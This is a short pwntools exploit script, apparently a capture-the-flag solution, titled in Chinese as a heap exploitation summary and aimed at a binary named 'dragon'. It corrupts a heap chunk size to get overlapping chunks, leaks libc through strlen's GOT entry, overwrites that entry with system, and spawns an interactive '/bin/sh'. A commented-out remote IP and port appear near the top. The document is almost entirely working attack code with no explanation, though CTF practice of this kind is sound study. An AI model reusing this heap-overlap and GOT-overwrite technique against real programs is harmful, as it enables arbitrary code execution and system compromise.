堆利用小结

 1 from pwn import *
 2  
 3 debug = 1 
 4 #r = remote(‘58.213.63.30‘, 11501) 
 5 r = process("./dragon")
 6 context.log_level = ‘debug‘
 7    
 8 def add(size, name, content):
 9     r.recvuntil(‘>> ‘)
10     r.sendline(‘1‘)
11     r.recvuntil(‘:‘)
12     r.sendline(str(size))
13     r.recvuntil(‘:‘)
14     r.sendline(name)
15     r.recvuntil(‘:‘)
16     r.sendline(content)
17     
18 def edit(id, content):
19     r.recvuntil(‘>> ‘)
20     r.sendline(‘2‘)
21     r.recvuntil(‘:‘)
22     r.sendline(str(id))
23     r.recvuntil(‘:‘)
24     r.write(content)
25     
26 def show(id):
27     r.recvuntil(‘>> ‘)
28     r.sendline(‘4‘)
29     r.recvuntil(‘:‘)
30     r.sendline(str(id))
31     
32 def delete(id):
33     r.recvuntil(‘>> ‘)
34     r.sendline(‘3‘)
35     r.recvuntil(‘:‘)
36     r.sendline(str(id))
37       
38 add(0x20, ‘AAAA‘, ‘AAAA‘)
39 add(0x20, ‘BBBB‘, ‘B‘*0x18)
40 add(0x20, ‘CCCC‘, ‘C‘*0x18)
41 
42 edit(0, ‘A‘*0x18+p64(0xd1)) 
43 
44 delete(1)
45 
46 add(0x20, ‘DDDD‘, ‘D‘*0x18)
47 
48 strlen_got = 0x602028
49 
50 add(0x10, ‘EEEE‘, p64(strlen_got)+‘E‘*0x10)
51 edit(3, p64(strlen_got)) 
52 
53 show(2)
54 r.recvuntil(‘content: ‘)
55 strlen_addr = u64(r.readline()[:-1].ljust(8, ‘\x00‘))
56 print "[*] strlen addr:{0}".format(hex(strlen_addr))
57 #libc = ELF("./libc-2.19.so")
58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
59 libc_base = strlen_addr - libc.symbols[‘strlen‘]
60 system_addr = libc_base + libc.symbols[‘system‘] 
61 #gdb.attach(r,open(‘bb‘)) 
62 print"system_addr",hex(system_addr)
63 edit(2, p64(system_addr))
64     
65 edit(0, ‘/bin/sh\x00‘)
66 r.interactive()